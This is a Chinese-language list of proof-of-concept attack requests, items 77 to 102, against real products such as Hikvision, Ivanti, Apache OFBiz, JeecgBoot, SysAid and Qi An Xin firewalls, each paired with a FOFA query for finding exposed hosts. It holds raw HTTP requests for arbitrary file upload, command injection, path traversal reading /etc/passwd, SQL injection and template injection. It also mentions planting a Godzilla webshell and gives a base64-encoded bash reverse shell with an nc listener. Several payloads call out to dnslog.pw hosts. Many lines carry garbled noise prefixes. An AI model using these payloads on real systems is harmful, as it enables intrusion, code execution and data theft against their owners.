7 w: w$ z- f2 U% m: h" k
3 ~0 |) C* W  T6 T
5 J; S- b3 n# D1 p$ u% s77. F22服装管理软件系统UploadHandler.ashx任意文件上传
3 D) c0 b; M' o7 o& u/ MFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
9 h8 [) q1 m: q8 ~; `3 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
2 z. a1 [5 h$ Z7 P% u9 I, PContent-Length: 433
& v/ y+ i5 F0 }+ n8 H" dAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

0 G# `" @7 g9 b0 c: S------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

2 |' p; g% |: E5 D  Q/upload/udplog
3 Q1 |; S# |4 a------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
3 l% x: w4 ?  t2 D1 L! V------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


9 J/ b/ r- t7 J8 p; p( M+ |78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
% m6 b! ~' h7 w1 D7 I. P3 K. SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 ]) R/ ?, M2 x/ u  ~9 i# CConnection: close
3 V2 q5 j# o5 x/ n( oContent-Length: 336
7 D( d: K& T; C6 b/ I  fAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
: N* Q% d$ I3 d2 C2 F2 o  R
6 o- b2 a  d* y0 T- z1 Z. ~, k9 [. ~------YsOxWxSvj1KyZow1PTsh98fdu6l
# L0 M! J9 R# fContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

+ W. h4 Q( ~9 O/ gYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
) V6 v& [5 C. ?7 }Content-Disposition: form-data; name="target"

% \9 S& D" ?3 C0 B) F/Applications/SkillDevelopAndEHS/
9 f& G6 t* P- ]------YsOxWxSvj1KyZow1PTsh98fdu6l--


  N9 q; y4 r5 K9 E& U) ~* YGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
+ k& k% Z6 \. A7 \$ m
5 `8 h, Z4 `- {: A
79. BYTEVALUE 百为流控路由器远程命令执行
6 ~  l2 p3 r, U' ^; h+ h+ X  jFOFA：BYTEVALUE 智能流控路由器
* m1 Y! i  I; v& S4 b% bGET /goform/webRead/open/?path=|id HTTP/1.1
  p, A1 i  c) j. n1 H8 ?3 bHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 k. L  H' d  d/ M% FAccept-Encoding: gzip, deflate
( B4 C4 z1 c( w; Y; o' s: D/ ~2 fConnection: close
( E$ a- z  c4 T2 U! r' BUpgrade-Insecure-Requests: 1
& n/ w9 ~& }8 d) e% I
  C  k7 E2 G" Y* L5 E5 L5 p2 U, U
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
% f, b$ }, G% a0 @: y% uFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. J* o7 a7 Q( W- `/ C- S7 jContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 o) S  ^4 f- ?. M/ r  g7 s( N. pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
7 c; j5 `$ @5 qUpgrade-Insecure-Requests: 1
' _' [6 t/ ]! n$ B% w; D* A8 {+ U
<% out.print("oessqeonylzaf");%>
* F- n4 E* J: {) `+ {

& c. v# @8 y  U* Z, eGET /xykqmfxpoas.jsp HTTP/1.1
% k. ^5 I* w' k: @. k& D' ?Host: x.x.x.x
4 H2 P6 @/ o; ^9 \" I6 D5 d& |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
7 ~/ V3 I$ z& c1 W

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
8 k! I7 O# s/ v2 I. H$ g  ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
! b: h: Q7 u3 [Accept-Encoding: gzip


) p" g0 J# Q7 }! R82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
# Z0 x6 U4 A' ^$ s( U7 }) z2 RFOFA：app="思福迪-LOGBASE"
  C$ E) w& u* a$ |; B6 NPOST /bhost/test_qrcode_b HTTP/1.1
+ r3 T6 k  G3 y5 X" g7 gHost: BaseURL
User-Agent: Go-http-client/1.1
, F; u+ y. n! i3 q8 p/ v5 ]4 [Content-Length: 23
Accept-Encoding: gzip
" a! z, s0 I/ E0 ^Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost

/ a/ g5 H6 I: _, L" o
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"

7 a# P) T$ c( B
POST /jmreport/testConnection HTTP/1.1
; x! o+ Q4 H; bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
0 j1 [# `+ V  z  t+ @Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
& b: ]/ B% S- ^( ]/ K# _Content-Type: application/json
2 g, L( Q+ e/ F9 g
5 }) ^0 n3 {3 X+ C& Z  ?3 PPAYLOAD
7 w. @" T. R7 e4 k3 s& ^  \) i
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
% g* P+ P7 |$ J  U" wFOFA：title=="JeecgBoot 企业级低代码平台"
2 _6 u! D0 l1 L3 K1 j( K* B


' l  [; F- u, L  t6 i$ LPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
! o3 ~+ s2 _# S# H2 ~Accept: */*
* ]8 x/ {$ b) _. p4 }( V: uConnection: close
( ~0 `- W- u1 o, \6 y6 ^! DContent-Type: application/json
Accept-Encoding: gzip

{
8 Y, j# ~6 X6 d+ E9 `: q "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
5 [  d2 G- G7 L9 H) J- m0 R- [  "type": "0"
}
  h+ i) x7 \3 n( z

/ w$ y; M1 S2 p' |85. SysAid On-premise< 23.3.36远程代码执行
. M1 E  N7 W- C5 _( OCVE-2023-47246
8 z" Z- k* j, d8 d$ m' P8 t5 ]. w3 Q5 EFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
6 ?7 o1 T. g; r: r. G) @5 I1 UPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
5 E3 L1 ]. Y& J# e: HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD

2 @! p) F  t2 J5 S0 w$ t7 R回显URL：http://x.x.x.x/userfiles/index.jsp
3 G& x3 U* g- d8 k! }
$ v: r7 s7 S0 ]& a% t86. 日本tosei自助洗衣机RCE
: U/ `: c7 B6 R: M4 ZFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
' f. M4 j& T; ]7 Q/ Y# OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
; |/ z) f, }' _( o( d: T2 |# JConnection: close
Content-Length: 44
Accept: */*
/ L0 c& ~; ]4 HAccept-Encoding: gzip
Accept-Language: en
, _3 d$ g2 m' t6 e: K+ y$ OContent-Type: application/x-www-form-urlencoded
( V" S: D/ z; C6 _" e1 s- G
: T7 _. B' B: b  \- a" Shost=%0acat${IFS}/etc/passwd%0a&command=ping
9 y8 Q( L9 q+ y5 L( P7 n6 e

87. 安恒明御安全网关aaa_local_web_preview文件上传
' P4 z" O' z9 \; S5 zFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
) f  C1 u* A; i; F5 nHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ H" h3 k6 H+ f) yConnection: close
% w9 B: S6 o: f5 P! g- k0 tContent-Length: 198
' U& _% g* p% n$ s/ C, EAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

0 l. P3 j& ^# a1 N--qqobiandqgawlxodfiisporjwravxtvd
. E; c. w$ i8 c* s: {9 C3 CContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
4 u) l8 Q+ Q4 x1 S
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
5 Y; n! Y" m) `& Y! z# y8 B--qqobiandqgawlxodfiisporjwravxtvd--
* |# E3 A" B( P( o$ U3 K
6 `5 z, u& i1 w
/jfhatuwe.php

# h$ ]8 ~: o0 {88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
  k7 U/ z% M+ Y( OGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
7 N, l( N& e1 k0 Q% I# H( wHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& x' v& J, ~- a8 Z9 M: B! {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
; q! {' Y6 P6 j1 D* RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ a( m8 \) t4 T: g9 L" T2 z( nConnection: close


/astdfkhl.php
9 z' b! Y: y5 i5 s) ~3 ~+ g5 a$ F
89. 致远互联FE协作办公平台editflow_manager存在sql注入
6 _& j8 l2 K% l- PFOFA：title="FE协作办公平台" || body="li_plugins_download"
/ i4 F# [8 Q# L! kPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

2 Y4 h; Z& g+ \1 @: M4 A8 F/ ooption=2&GUID=-1'+union+select+111*222--+

1 Y) ?# ]/ s: R
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
& q, [$ {1 n1 g2 x' k- B$ bPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
5 S/ K6 p7 @! M. eContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
. y9 u1 \/ p' K% _4 }8 t8 {* NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
4 x# _+ w! L% T( _Content-Type: application/x-www-form-urlencoded
. ^( q+ |! E5 ~3 p9 OX-Requested-With: XMLHttpRequest

9 m6 |! j6 y4 \; ujsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
" M  O. @2 r, V/ D8 ~

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
" I' f! W4 L5 [- @( B  D0 [. I' x0 XGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
4 ]3 B; s& a$ E' p# i5 E$ QHost: your-ip
/ {. V! J) h  G. `) w, ^" \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
* l& r" ~  X* A6 S" F3 CAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

( ]- S0 ~/ R. X" c+ A

4 j- Z( U  U( d; B" C$ t& k92. 海康威视运行管理中心session命令执行
Fastjson命令执行
, U, L9 u! L  d. u  Ghunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
( S9 v8 c% |: j) ?Host:
' n' I3 f) Z) I) G1 C3 Z9 o4 u. M0 DAccept: application/json, text/plain, */*
* V9 W9 J6 G! \; |6 PAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
* Q" g2 t4 J$ \2 sContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
8 G3 L! p1 D; h, L- ^9 E; LTestcmd: echo test
; q% N3 ^- [# Y9 _. c" ^& P, T4 X/ T$ sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

. q! |# j' |1 l2 `8 Q; oPAYLOAD
  Y0 W- \# l7 g4 X" _) Q9 B) P

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
8 V/ C# c9 N2 }6 h7 P0 rFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
! R! H$ d5 M# i5 L8 e, KUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# Q$ r# B8 F/ L7 b! g2 k8 @; ~4 @
! {: n4 x8 X7 c3 ^1 U- J( e/ {------WebKitFormBoundarykcbkgdfx
$ ]; P: T1 [- [# wContent-Disposition: form-data; name="MAX_FILE_SIZE"
; X' ]* |9 I/ j! P/ b2 \
10000000
------WebKitFormBoundarykcbkgdfx
( E3 K. H; b9 D7 {$ c" o3 J" T/ BContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
" q3 ]$ s$ N$ F------WebKitFormBoundarykcbkgdfx
' f' ~- r& [* N# r( HContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
& i5 \3 M% c8 f; PContent-Disposition: form-data; name="__hash__"
( V* T' n0 v0 G! {2 p1 d
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
- m" h8 U+ p9 }1 l3 p; u

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
. s+ y7 k8 j& s; z5 v; @7 ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% X9 K( @% d9 Z
  t0 J$ t: ]0 P# z
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
- G! `# X9 |  X) g; OFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
7 d+ S9 R" H' Y& w4 `Host: x.x.x.x
" k! }3 `- I: N! W+ fContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
4 J& Q2 A" m4 w/ J! U+ r+ Y
- f! m$ X/ f6 A, a------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
" |" i& y! C& q, w# l. _
10000000
------WebKitFormBoundarybqvzqvmt
- P3 d4 |, b; r( Y8 c: k* L' BContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
: i- G# M1 Q# j. S$ U" h4 t( i
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
5 c' V1 E1 b! x* OContent-Disposition: form-data; name="submit_post"
% G4 R4 K' a6 K8 p5 d1 x
. G8 A/ O, g$ aobj_app_upfile
------WebKitFormBoundarybqvzqvmt
+ u( U0 X. m* y) k9 O8 F. AContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
; C' ]$ \+ }2 L* x+ Y) `2 h
& q$ V! e6 K! k, U

1 [2 T/ C" T5 C- f% oGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
- @- }7 [* }$ `0 i6 s: X/ d4 ICVE-2023-49070
FOFA：app="Apache_OFBiz"
9 ?+ M0 u* Y: F$ i) `: C+ l  }1 pPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
+ i; }( o+ e0 H+ A8 D" m- Z7 CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
$ V" f! l" k4 B: W8 P' m+ BContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
        <struct>
       <member>
4 \5 C: D5 }: w: X% Y* d- f          <name>test</name>
          <value>
1 [, w  l* ^5 f. k      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
; [& e5 C4 @& _8 T5 a/ d      </struct>
      </value>
    </param>
! {8 N. c9 v5 S% u- u8 Q    </params>
- T1 z0 P: I( j3 ^* f7 B, K  @</methodCall>

: D" v- p+ B1 y* p
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
0 |) g, R. x' g2 w/ a4 AHost: 192.168.40.130:8443
8 S% v. s# P3 W! ^User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
" o4 a5 A( y& \# aConnection: close
6 [9 |& W& [) i  y3 |6 zContent-Length: 889
Content-Type: application/xml
5 M/ z. o1 v" p+ XAccept-Encoding: gzip
  ?4 _( c* u, ^, e3 a0 O
; q6 z" i) ?- k8 D. p. oPAYLOAD
1 L5 k7 k8 Q! e
% S% q& B: G3 G" w+ e7 d% P96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
& b& H# Y" E' M! i! p2 U% @" FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
6 `/ F8 b. ^4 v5 T: T0 E) b0 e3 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
* ]1 J: H" ]0 }2 E# R8 V' H
. N# f( p) r2 o6 {5 ugroovyProgram=throw+new+Exception('id'.execute().text);
+ D& T) H. h! y; ?' U7 X

8 _2 e7 Z% _. S6 A+ t# v反弹shell
在kali上启动一个监听
nc -lvp 7777
) J' |) ]3 J5 j6 `2 Z& B3 B
% Y; X0 Y' ?0 e/ @POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
( @. Q( \! n* }- v2 m& k( jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! u' q, I4 k! z' Q8 cAccept: */*
1 j6 y: v  s+ D( E; n) Z% zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
/ B% Y+ F& Z* mContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
$ Z' M) n2 `0 n9 i+ p) j/ Y# t
+ w: a! O8 b! `97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
& \& t' X' Y% j* n# [FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
; ]1 v0 d7 i  x/ J) F6 A; ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
* L) |$ D2 v5 S" C0 m
! J, @! N, |8 p% k
' ]1 p/ S/ N* a. P# \# J$ Q98. SpiderFlow爬虫平台远程命令执行
( U) T1 j6 c/ P# x9 e4 g* p. ~- C) eCVE-2024-0195
; C5 }: i  e* q4 I) P& JFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
' ^+ y, H8 Y2 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) d0 q! |: ?1 _Connection: close
4 y5 \, }: C, dContent-Length: 121
- _* M3 T- h; d2 @; k2 H% ?Accept: */*
# L6 _- B" |4 P% t& ~2 HAccept-Encoding: gzip, deflate
! M3 E$ C% b& ~2 G& TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
* `3 ~8 T$ b& T9 sX-Requested-With: XMLHttpRequest
# H$ E' B! R  |! S7 b
" }8 K4 C& d! q0 Rid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
2 y  G7 G% d& g! z% ?7 C8 H4 k

99. Ncast盈可视高清智能录播系统busiFacade RCE
+ I. k4 m- g3 s- QCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
& B4 o7 X( @* U- UPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
( m, `6 I. T2 b! k5 w) D7 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
7 J1 j8 v: k9 x; L! lContent-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
: e# p5 L  i3 t! K; aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 G. q# j# E' j3 FContent-Type: application/x-www-form-urlencoded; charset=UTF-8
+ S. j6 T7 `* EX-Requested-With: XMLHttpRequest
6 B8 n5 Y4 V2 V% h' ]3 ^+ n, }; H
; A6 ^" X# G( N* ~; Q; q%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
' G9 A$ H: }5 O! R" x# b# Y
: q# s. U4 v) y
- }( A+ v( a2 J5 B: c100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
8 n6 d" g: o& a, f/ Z8 |; _POST /api/file/formimage HTTP/1.1
1 }# _5 F8 ]9 p2 {Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
3 n0 m9 a; g; k& g# t. Y0 K. C: }, iConnection: close
) J6 ]2 n& l$ v7 |( d# y0 a+ Y* nContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
. H* i; b+ C+ W# l& N/ h
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
; z) u4 T8 @8 s; A# r9 zContent-Type: application/x-php

6 y8 B4 n9 K  H6 |$ l- v2 C! k; C2ayyhRXiAsKXL8olvF5s4qqyI2O
% X9 ~9 y% `# Y4 s0 Z/ d------WebKitFormBoundarygcflwtei--
" x# J4 g% v6 z& O7 c# w
1 A: u& T8 Z. Q
& ~: K( u4 b+ s101. ivanti policy secure-22.6命令注入
& y9 a0 u! ], D0 V# @" vCVE-2024-21887
) _* G0 y+ N8 c( ^; {. _- @FOFA：body="welcome.cgi?p=logo"
) c1 W9 E" J* U- L  R$ lGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
: Q! L4 f: Q3 {" GHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip


3 \3 o! ]% G2 f, M3 U0 e102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
0 R" C/ W2 g% S. dCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
) t- u" `8 ]- D$ ]POST /dana-ws/saml20.ws HTTP/1.1
$ n2 V& h. x0 B9 J$ _Host: x.x.x.x
* C; B0 S7 s; mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
6 ?4 o) r7 e; J/ q* kAccept-Encoding: gzip
- z  V( J/ \% S6 G! K
+ g: @5 Q% Y0 F4 n- T  S5 }( z: j  o<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         